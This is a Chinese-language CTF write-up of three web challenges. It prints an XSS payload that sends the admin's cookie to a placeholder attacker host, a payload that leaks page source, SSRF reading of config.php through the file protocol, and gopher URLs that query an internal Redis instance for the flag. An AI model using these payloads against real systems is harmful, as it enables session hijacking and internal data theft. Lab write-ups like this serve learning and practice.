最近几场比赛碰到了不少xss,就算看过xss的原理依旧没什么想法,还是找几道题来做比较快,前面的题以后再补上
xssme
基础获取cookie的xss题
登录进去有个发邮箱的界面,题目说要打admin那就给admin发送邮箱。先试了一下<script>alert(1)</script>
提示)和<script被过滤,于是尝试<svg/onload=alert('1')>
依旧只过滤了),<svg/onload=>
是可以用的,于是<svg/onload="document.location='http://ip或域名/?'+document.cookie">
把cookie发到xss平台上
成功打到flag
xssrf leak
这题提示了要去打源码,于是尝试<svg/onload="document.location='http://ip或域名/?'+bota(document.body.innerhtml)">
提示innerhtml被过滤,那就实体编码一波,然后成功获得源码
1 | <li class="nav-item"> |
读源码会发现一个request接口,猜测可能是用来发送请求的,于是再打一波
1 | <form action="/request.php" method="POST"> |
发现可以往这个接口传一个url参数,于是猜测这个url参数在后台可能会使用curl()对其进行访问然后返回给管理员
不过不知道该读什么,于是试试看robots.txt看看有没有什么提示
提示打config.php,然后可以知道这个服务器是nginx,于是尝试用file协议去读取/var/www/html/config.php
。成功打到页面,浏览器打开就有flag
xssrf redis
看题目就是要打redis的题,看wp的大佬们都说要用gopher协议,然而这两个都只是听过没用过,只能从零开始摸了
首先是gopher协议,和普通url协议一样是可以通过ip:port去访问目标应用。不过gopher协议可以在之后接上该应用可用的命令,不过在命令前要加个_
比如向80端口发送get请求,就要是gopher://ip:80/_GET/
然后redis可以通过info获取信息,key获取键的信息
从上提到flag我们知道redis在25566端口,于是使用上一题的url参数向request.php发送请求对redis进行攻击gopher://127.0.0.1:25566/_info%250a_quit
(这里%250a是用来分隔命令的)
得到只有一个key,于是查键名gopher://127.0.0.1:25566/_keys%2520*%250a_quit
键名位flag,然后查flag的类型gopher://127.0.0.1:25566/_type%2520flag%250a_quit
flag的类型是list,我们不能直接去读,要先去获得list的长度gopher://127.0.0.1:25566/_llen%2520flag%250a_quit
得到长度是53位,于是循环读flaggopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit
获得的flag是倒序的,于是python处理一下得到flag